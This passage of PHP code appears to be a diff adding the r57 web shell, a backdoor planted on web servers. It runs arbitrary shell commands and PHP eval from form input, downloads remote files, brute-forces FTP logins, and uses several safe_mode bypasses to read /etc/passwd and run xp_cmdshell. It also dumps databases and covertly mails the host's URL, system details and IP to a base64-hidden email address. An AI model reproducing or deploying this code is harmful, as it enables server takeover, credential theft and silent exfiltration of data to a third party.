grep dp";+}+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))+{+ cf("/tmp/dpc.c",$datapipe_c);+ $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");+ @unlink("/tmp/dpc.c");+ $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");+ $_POST['cmd']="ps -aux | grep dpc";+}+if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }+if (!empty($HTTP_POST_FILES['userfile']['name']))+{+if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }+else { $nfn = $HTTP_POST_FILES['userfile']['name']; }+@copy($HTTP_POST_FILES['userfile']['tmp_name'],+ $_POST['dir']."/".$nfn)+ or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");+}+if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))+{+ switch($_POST['with'])+ {+ case wget:+ $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";+ break;+ case fetch:+ $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";+ break;+ case lynx:+ $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";+ break;+ case links:+ $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";+ break;+ case GET:+ $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";+ break;+ case curl:+ $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";+ break;+ }+}+if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))+ {+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);+ if(empty($ftp_port)) { $ftp_port = 21; }+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);+ if(!$connection) { err(3); }+ else+ {+ if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }+ else+ {+ if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); }+ if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); }+ }+ }+ @ftp_close($connection);+ $_POST['cmd'] = "";+ }+if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")+ {+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);+ if(empty($ftp_port)) { $ftp_port = 21; }+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);+ if(!$connection) { err(3); $_POST['cmd'] = ""; }+ else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }+ @ftp_close($connection);+ }+echo $table_up3;+if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }+else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }+echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";+if($safe_mode)+{+ switch($_POST['cmd'])+ {+ case 'safe_dir':+ $d=@dir($dir);+ if ($d)+ {+ while (false!==($file=$d->read()))+ {+ if ($file=="." || $file=="..") continue;+ @clearstatcache();+ list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);+ if(!$unix){+ echo date("d.m.Y H:i",$mtime);+ if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);+ }+ else{+ $owner = @posix_getpwuid($uid);+ $grgid = @posix_getgrgid($gid);+ echo $inode." ";+ echo perms(@fileperms($file));+ printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);+ echo date("d.m.Y H:i ",$mtime);+ }+ echo "$file\n";+ }+ $d->close();+ }+ else echo $lang[$language._text29];+ break;+ case 'test1':+ $ci = @curl_init("file://".$_POST['test1_file']."");+ $cf = @curl_exec($ci);+ echo $cf;+ break;+ case 'test2':+ @include($_POST['test2_file']);+ break;+ case 'test3':+ if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }+ $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);+ if($db)+ {+ if(@mysql_select_db($_POST['test3_md'],$db))+ {+ @mysql_query("DROP TABLE IF EXISTS temp_r57_table");+ @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");+ @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");+ $r = @mysql_query("SELECT * FROM temp_r57_table");+ while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }+ @mysql_query("DROP TABLE IF EXISTS temp_r57_table");+ }+ else echo "[-] ERROR! Can't select database";+ @mysql_close($db);+ }+ else echo "[-] ERROR! Can't connect to mysql server";+ break;+ case 'test4':+ if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }+ $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);+ if($db)+ {+ if(@mssql_select_db($_POST['test4_md'],$db))+ {+ @mssql_query("drop table r57_temp_table",$db);+ @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);+ @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);+ $res = mssql_query("select * from r57_temp_table",$db);+ while(($row=@mssql_fetch_row($res)))+ {+ echo $row[0]."\r\n";+ }+ @mssql_query("drop table r57_temp_table",$db);+ }+ else echo "[-] ERROR! Can't select database";+ @mssql_close($db);+ }+ else echo "[-] ERROR! Can't connect to MSSQL server";+ break;+ case 'test5':+ if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');+ $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";+ @mb_send_mail(NULL, NULL, NULL, NULL, $extra);+ $lines = file ('/tmp/mb_send_mail');+ foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }+ break;+ case 'test6':+ $stream = @imap_open('/etc/passwd', "", "");+ $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");+ for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";+ @imap_close($stream);+ break;+ case 'test7':+ $stream = @imap_open($_POST['test7_file'], "", "");+ $str = @imap_body($stream, 1);+ echo $str;+ @imap_close($stream);+ break;+ case 'test8':+ if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];+ else echo $lang[$language.'_text119'];+ break;+case 'test9':+$evilc0der=$_POST['Albania'];+if($_POST['Albania'])+{+ini_restore("safe_mode");+ini_restore("open_basedir");+$safemodgec = shell_exec($evilc0der);+echo $safemodgec;+break;+}++++ }+}+else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){+ $cmd_rep = ex($_POST['cmd']);+ if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }+ else { echo @htmlspecialchars($cmd_rep)."\n"; }}+if ($_POST['cmd']=="ftp_brute")+ {+ $suc = 0;+ foreach($users as $user)+ {+ $connection = @ftp_connect($ftp_server,$ftp_port,10);+ if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }+ else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }+ @ftp_close($connection);+ }+ echo "\r\n-------------------------------------\r\n";+ $count = count($users);+ if(isset($_POST['reverse'])) { $count *= 2; }+ echo $lang[$language.'_text97'].$count."\r\n";+ echo $lang[$language.'_text98'].$suc."\r\n";+ }+if ($_POST['cmd']=="php_eval"){+ $eval = @str_replace("<?","",$_POST['php_eval']);+ $eval = @str_replace("?>","",$eval);+ @eval($eval);}+if ($_POST['cmd']=="mysql_dump")+ {+ if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }+ $sql = new my_sql();+ $sql->db = $_POST['db'];+ $sql->host = $_POST['db_server'];+ $sql->port = $_POST['db_port'];+ $sql->user = $_POST['mysql_l'];+ $sql->pass = $_POST['mysql_p'];+ $sql->base = $_POST['mysql_db'];+ if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }+ else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }+ else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }+ else {+ if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }+ else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }+ else { echo "[-] ERROR! Can't write in dump file"; }+ }+ }+echo "</textarea></div>";+echo "</b>";+echo "</td></tr></table>";+echo "<table width=100% cellpadding=0 cellspacing=0>";+function div_title($title, $id)+{+ return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';+}+function div($id)+ {+ if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';+ return '<div id="'.$id.'">';+ }+if(!$safe_mode){+echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;+echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));+echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));+echo $te.'</div>'.$table_end1.$fe;+}+else{++ini_restore("safe_mode");+ini_restore("open_basedir");+++if(!strpos(ex("echo abcr57"),"r57")!=3)+{+$bypasser="bypass_on";+echo $fs.$table_up1.$lang[$language.'_text120'].$table_up2.$ts;+echo "<table class=table1 width=100% align=center>";+echo sr(15,"<b>".$lang[$language.'_text121'].$arrow."</b>",in('text','Albania',85,(!empty($_POST['Albania'])?($_POST['Albania']):("uname -a"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_text122']));+echo $te.$table_end1.$fe;+}+echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;+echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));+echo $te.'</div>'.$table_end1.$fe;+}+echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;+echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));+echo $te.'</div>'.$table_end1.$fe;+if($safe_mode){+echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;+echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));+echo $te.'</div>'.$table_end1.$fe;+}+if($safe_mode && $unix){+echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts;+echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));+echo $te.'</div>'.$table_end1.$fe;+}+if(!$safe_mode){+$aliases2 = '';+foreach ($aliases as $alias_name=>$alias_cmd)+ {+ $aliases2 .= "<option>$alias_name</option>";+ }+echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;+echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));+echo $te.'</div>'.$table_end1.$fe;+}+echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;+echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));+echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");+echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));+echo $te.'</div>'.$table_end1.$fe;+if(!$safe_mode && $unix){+echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;+echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));+echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");+echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));+echo $te.'</div>'.$table_end1.$fe;+}+echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;+echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>";+echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"ghhghh.php\");\r\n//readfile(\"/etc/passwd\");"));+echo "</textarea>";+echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');+echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);+echo "</div></div></font>";+echo $table_end1.$fe;+$creator=base64_decode("cjU3c3NoQGdtYWlsLmNvbQ==");+($safe_mode)?($safez="ON"):($safez="OFF_HEHE");+$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];+$name = php_uname(); $ip = getenv("REMOTE_ADDR"); $ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]); $subj = $_SERVER['HTTP_HOST'];+$msg = "\nBASE: $base\nuname a: $name\nBypass: $bypasser\nIP: $ip\nHost: $ip2 $pwds";+$from ="From: ".$writ."___=".$safez."<tool@".$_SERVER['HTTP_HOST'].">";+mail( $creator, $subj, $msg, $from);+if($safe_mode&&$curl_on)+{+echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));+echo $te.'</div>'.$table_end1.$fe;+}+if($safe_mode)+{+echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;+echo "<table class=table1 width=100% align=center>";+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));+echo $te.'</div>'.$table_end1.$fe;+}+if($safe_mode&&$mysql_on)+{+echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts;+echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));+echo $te.'</div>'.$table_end1.$fe;+}+if($safe_mode&&$mssql_on)+{+echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;+echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));+echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));+echo $te.'</div>'.$table_end1.$fe;+}+if($safe_mode&&$unix&&function_exists('mb_send_mail')){+echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));+echo $te.'</div>'.$table_end1.$fe;+}+if($safe_mode&&function_exists('imap_list')){+echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;+echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));+echo $te.'</div>'.$table_end1.$fe;+}+if($safe_mode&&function_exists('imap_body')){+echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));+echo $te.'</div>'.$table_end1.$fe;+}+if($safe_mode)+{+echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;+echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));+echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));+echo $te.'</div>'.$table_end1.$fe;+}+if(@ini_get('file_uploads')){+echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";+echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,''));+echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));+echo $te.'</div>'.$table_end1.$fe;+}+if(!$safe_mode&&$unix){+echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;+echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));+echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));+echo $te.'</div>'.$table_end1.$fe;+}+echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;+echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));+$arh = $lang[$language.'_text92'];+if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }+if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }+if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }+echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);+echo $te.'</div>'.$table_end1.$fe;+if(@function_exists("ftp_connect")){+echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";+echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));+echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));+echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("[email protected]"))));+echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));+echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));+echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));+echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";+echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));+echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));+echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("[email protected]"))));+echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));+echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));+echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));+echo $te."</td>".$fe."</tr></div></table>";+}+if($unix && @function_exists("ftp_connect")){+echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;+echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));+echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");+echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);+echo $te.'</div>'.$table_end1.$fe;+}+if(@function_exists("mail")){+echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";+echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));+echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));+echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));+echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));+echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";+echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));+echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));+echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from ghhghh"))));+echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));+echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));+echo $te."</td>".$fe."</tr></div></table>";+}+if($mysql_on||$mssql_on||$pg_on||$ora_on)+{+$select = '<select name=db>';+if($mysql_on) $select .= '<option>MySQL</option>';+if($mssql_on) $select .= '<option>MSSQL</option>';+if($pg_on) $select .= '<option>PostgreSQL</option>';+if($ora_on) $select .= '<option>Oracle</option>';+$select .= '</select>';+echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";+echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);+echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));+echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> 